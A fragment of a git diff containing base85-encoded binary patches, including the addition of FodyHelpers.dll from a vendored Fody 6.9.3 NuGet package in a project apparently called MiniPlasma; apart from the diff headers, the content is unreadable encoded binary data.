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 literal 0 HcmV?d00001 diff --git a/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll b/MiniPlasma/packages/Fody.6.9.3/tasks/netstandard2.0/FodyHelpers.dll new file mode 100644 index 0000000000000000000000000000000000000000..59a12457b6e694aa31f50add6dd247bf0ea67689 GIT binary patch literal 70656 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 